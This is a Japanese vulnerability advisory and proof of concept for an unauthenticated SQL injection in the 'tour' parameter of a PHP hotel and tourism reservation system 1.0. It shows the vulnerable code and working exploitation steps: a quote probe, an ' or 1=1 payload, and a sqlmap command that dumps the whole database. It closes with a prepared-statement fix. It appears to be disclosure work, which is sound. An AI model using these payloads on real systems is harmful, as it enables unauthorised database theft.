
ホテル・観光予約システム 1.0 における未認証SQLインジェクションの概念実証。tourパラメータを介したデータベース抽出を実証します。
| フィールド | 詳細 |
|---|
| タイトル | ホテル・観光予約システム - tour GETパラメータを介したSQLインジェクション |
| ベンダー | code-projects.org |
| ベンダーURL | https://code-projects.org/hotel-and-tourism-reservation-in-php-with-source-code/ |
| 製品 | ホテル・観光予約システム |
| バージョン | 1.0 |
| 脆弱性タイプ | SQLインジェクション |
| CWE | CWE-89 |
| CVSSスコア | 9.8 (クリティカル) |
| CVSSベクター | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| 影響を受けるファイル | /ht/tour.php |
| 影響を受けるパラメータ | tour (GET) |
| 認証要件 | いいえ |
| リモートからの悪用可能性 | はい |
| 研究者 | Syed Imad Uddin Alvi |
ホテル・観光予約システム1.0のtour.phpにおけるtour GETパラメータに、クリティカルなSQLインジェクションの脆弱性が存在します。このパラメータは直接生のSQLクエリに渡され、サニタイゼーション、プリペアドステートメント、入力検証が一切行われていません。認証されていないリモートの攻撃者はクエリを操作して、データベース内の任意のデータを抽出、変更、削除することができます。この脆弱性は、sqlmapを使用したデータベース全体のダンプによって確認されました。
tour.phpの脆弱なコード:
if(isset($_GET['tour'])) {
$tourID = $_GET['tour'];
$select = $db->query("SELECT * FROM tourism WHERE id = '{$tourID}' ");
$s = $db->query("SELECT * FROM tourism WHERE id = '{$tourID}' ");
$data = mysqli_fetch_assoc($s);
$tourIDは$_GET['tour']から直接取得され、サニタイゼーションなしでSQLクエリに埋め込まれています。
セットアップ: XAMPPにホテル・観光予約システム1.0をインストールし、http://<target>/ht/でアクセスします。
ステップ1 — 認証されていないユーザーとして任意のツアーページにアクセス:
http://<target>/ht/tour.php?tour=4

ステップ2 — シングルクォートを注入してSQLクエリを破壊し、脆弱性を確認:
http://<target>/ht/tour.php?tour='
結果: 致命的なMySQLエラーが発生します — サニタイズされていない入力がSQLクエリに到達することを確認します。

ステップ3 — ブールベースのペイロードでSQLiを確認:
http://<target>/ht/tour.php?tour=' or 1=1 -- -
結果: ツアーデータを含むページが正常に読み込まれます — ブールインジェクション成功。

ステップ4 — sqlmapを使用してデータベース全体をダンプ:
sqlmap -r sqli.txt --dump --batch
結果: sqlmapはhotel_db内のすべてのテーブル(users、rooms、tour_reserves、galleryを含む)を正常にダンプします — データベース全体の侵害が確認されました。

認証されていないリモートの攻撃者は以下を実行できます:
INTO OUTFILEを介してリモートコード実行の可能性tour GETパラメータは、プリペアドステートメント、パラメータ化クエリ、入力サニタイゼーションを使用せずに、直接生のSQLクエリに埋め込まれています:
// VULNERABLE
$tourID = $_GET['tour'];
$select = $db->query("SELECT * FROM tourism WHERE id = '{$tourID}' ");
// FIXED — use prepared statements
$stmt = $db->prepare("SELECT * FROM tourism WHERE id = ?");
$stmt->bind_param("i", $_GET['tour']);
$stmt->execute();
Syed Imad Uddin Alvi — 独立系セキュリティ研究者